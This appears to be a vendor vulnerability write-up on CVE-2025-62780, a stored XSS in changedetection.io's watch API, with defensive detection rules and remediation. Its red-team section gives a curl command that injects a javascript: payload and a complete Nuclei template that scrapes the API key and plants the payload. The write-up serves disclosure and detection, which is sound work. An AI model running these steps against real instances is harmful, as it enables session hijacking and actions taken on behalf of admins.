CVE-2025-62780
Executive Summary
CVE-2025-62780 is a stored cross-site scripting (XSS) vulnerability in changedetection.io, an open-source web page change detection tool. The flaw resides in the Watch update API, where insufficient security checks allow an attacker to inject a JavaScript payload into a watch's URL field. When a user with sufficient privileges (e.g., an admin) previews the watch and clicks the malicious link, the JavaScript executes in their browser session. The vulnerability affects versions prior to 0.50.34. The CVSS score is 6.2 (Medium), and the EPSS score is 0.00049, indicating low exploitation likelihood. A public proof-of-concept (PoC) exists via a Nuclei template.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
changedetection.io is distributed as a Python package via PyPI and as a Docker container. Users should verify the integrity of their installation by checking the package hash or Docker image digest. The vulnerability is introduced in the application code, not in a dependency, so supply chain risk is limited to the application itself.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The attack is carried out over the network.
- Attack Complexity (AC): Low (L) - No special conditions are required.
- Privileges Required (PR): High (H) - The attacker needs a valid API key or admin session.
- User Interaction (UI): Required (R) - The victim must click the malicious link.
- Scope (S): Unchanged (U) - The vulnerability does not affect other components.
- Confidentiality (C): Low (L) - Limited data exposure possible.
- Integrity (I): Low (L) - Limited modification of data possible.
- Availability (A): None (N) - No impact on availability.
Threat Level: Medium. Exploitation requires user interaction and high privileges, but the impact is limited to the user's browser session.
Deep Dive & Mechanics
The vulnerability exists in the /api/v1/watch/{watch_uuid} endpoint. The API accepts a url field in the request body. When a user creates or updates a watch, the application does not properly sanitize the URL. An attacker can set the URL to a javascript: URI, such as javascript:alert(document.domain). When the watch is previewed, the application renders the URL as a clickable link. If the user clicks the link, the browser executes the JavaScript payload.
Attack Scenarios:
- New Watch Injection: An attacker creates a new watch with a legitimate URL. After the content is fetched, the attacker updates the watch's URL to a JavaScript payload.
- Existing Watch Hijacking: An attacker modifies an existing watch's URL to a JavaScript payload.
The attack requires the attacker to have an API key or an active admin session. The payload executes in the context of the changedetection.io application, allowing the attacker to steal session cookies, perform actions on behalf of the user, or deface the application.
Vulnerable vs. Patched Code
Vulnerable Code (pre-0.50.34):
The API endpoint does not validate or sanitize the url field. It accepts any string, including javascript: URIs.
# vulnerable code example (conceptual)
@app.route('/api/v1/watch/<watch_uuid>', methods=['PUT'])
def update_watch(watch_uuid):
data = request.get_json()
watch = Watch.query.get(watch_uuid)
watch.url = data['url'] # No sanitization
db.session.commit()
return jsonify({'status': 'OK'})
Patched Code (0.50.34):
The patched version adds validation to reject javascript: URIs and other dangerous schemes.
# patched code example (conceptual)
from urllib.parse import urlparse
@app.route('/api/v1/watch/<watch_uuid>', methods=['PUT'])
def update_watch(watch_uuid):
data = request.get_json()
url = data['url']
parsed = urlparse(url)
if parsed.scheme in ['javascript', 'data', 'vbscript']:
return jsonify({'error': 'Invalid URL scheme'}), 400
watch = Watch.query.get(watch_uuid)
watch.url = url
db.session.commit()
return jsonify({'status': 'OK'})
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running instance of changedetection.io <= 0.50.33.
- An API key or admin session.
Steps:
- Identify the target and obtain an API key (e.g., via
/settingspage). - Create a new watch with a legitimate URL (e.g.,
http://example.com). - Update the watch's URL to a JavaScript payload:
curl -X PUT "http://target/api/v1/watch/{watch_uuid}" \ -H "x-api-key: {api_key}" \ -H "Content-Type: application/json" \ -d '{"url":"javascript:alert(document.domain)","title":"test","paused":true}' - Send the preview link to the victim:
http://target/preview/{watch_uuid}. - When the victim clicks the link, the JavaScript executes.
Nuclei Template (from Hacker Arsenal):
id: CVE-2025-62780
info:
name: ChangeDetection.io <= v0.50.33 - Stored XSS via Watch API
author: 0x_Akoko
severity: medium
description: |
changedetection.io <= 0.50.34 contains a stored cross site scripting caused by insufficient security checks in the Watch update API, letting attackers execute arbitrary JavaScript when users preview malicious links, exploit requires user interaction
impact: |
Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing data or performing actions on behalf of the user.
remediation: |
Update to version 0.50.34 or later.
reference:
- https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-4c3j-3h7v-22q9
- https://nvd.nist.gov/vuln/detail/CVE-2025-62780
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
cvss-score: 6.2
cve-id: CVE-2025-62780
epss-score: 0.00049
epss-percentile: 0.14936
cwe-id: CWE-79
metadata:
max-request: 4
verified: true
shodan-query: title:"Change Detection"
fofa-query: title="Change Detection"
tags: cve,cve2025,changedetection,xss,stored,api
variables:
string: "{{to_lower('{{randstr}}')}}"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "Change Detection", "changedetection.io")'
- 'compare_versions(version, "<= 0.50.33")'
condition: and
internal: true
extractors:
- type: regex
name: version
part: body
internal: true
group: 1
regex:
- 'id="right-sticky">v([0-9.]+)<'
- type: xpath
name: watch_uuid
part: body
internal: true
attribute: id
xpath:
- "//table[contains(@class,'watch-table')]//tbody/tr[1]"
- raw:
- |
GET /settings HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "api-key")'
condition: and
internal: true
extractors:
- type: regex
name: api_key
part: body
internal: true
group: 1
regex:
- 'id="api-key">([a-f0-9]+)</span>'
- raw:
- |
PUT /api/v1/watch/{{watch_uuid}} HTTP/1.1
Host: {{Hostname}}
x-api-key: {{api_key}}
Content-Type: application/json
{"url":"javascript:alert(document.domain)","title":"{{string}}","paused":true}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "OK")'
condition: and
internal: true
- raw:
- |
GET /preview/{{watch_uuid}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "javascript:alert(document.domain)", "{{string}}")'
condition: and
Blue Team
Detection:
- Monitor API logs for
PUT /api/v1/watch/requests withurlcontainingjavascript:or other dangerous schemes. - Alert on multiple failed login attempts or unusual API key usage.
Hunting:
- Search for watches with URLs starting with
javascript:,data:, orvbscript:. - Review user activity logs for suspicious watch creation or modification.
Lab Setup:
- Deploy a vulnerable instance using Docker:
docker run -d -p 5000:5000 --name changedetection ghcr.io/dgtlmoon/changedetection.io:v0.50.33 - Access the web interface at
http://localhost:5000. - Create an admin account and obtain the API key from
/settings.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to
/api/v1/watch/withurlparameter containingjavascript:. - HTTP requests to
/preview/followed by a watch UUID.
- HTTP requests to
- File System:
- Log entries in
changedetection.logshowingPUT /api/v1/watch/with suspicious URLs.
- Log entries in
- Application:
- Watches with URLs starting with
javascript:,data:, orvbscript:. - Unexpected JavaScript execution in the browser when clicking preview links.
- Watches with URLs starting with
Detection Engineering
YARA Rule
rule CVE_2025_62780_Stored_XSS {
meta:
description = "Detects stored XSS payloads in changedetection.io watch URLs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-62780"
strings:
$javascript = /javascript:[a-zA-Z0-9()]+/
$data = /data:text\/html/
$vbscript = /vbscript:[a-zA-Z0-9()]+/
condition:
any of them
}
Sigma Rule
title: CVE-2025-62780 - Stored XSS via Watch API
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit stored XSS in changedetection.io by injecting javascript: URIs into the watch API.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-62780
logsource:
category: webserver
product: changedetection
detection:
selection:
http.method: 'PUT'
http.url|contains: '/api/v1/watch/'
http.body|contains: 'javascript:'
condition: selection
falsepositives:
- Legitimate use of javascript: URIs (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-62780 - Stored XSS via Watch API"; flow:to_server; content:"PUT"; http_method; content:"/api/v1/watch/"; http_uri; content:"javascript:"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Update changedetection.io to version 0.50.34 or later.
- If immediate update is not possible, restrict access to the API endpoint using a web application firewall (WAF) or reverse proxy.
Long-term:
- Implement input validation for all user-supplied data, especially URLs.
- Use a Content Security Policy (CSP) to mitigate XSS impact.
- Regularly audit API logs for suspicious activity.
Workaround:
- Disable the preview feature if not needed.
- Require multi-factor authentication for admin accounts.
Valters IT
{/* [Security Hash: 45A9821197440A2DC0F48896] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.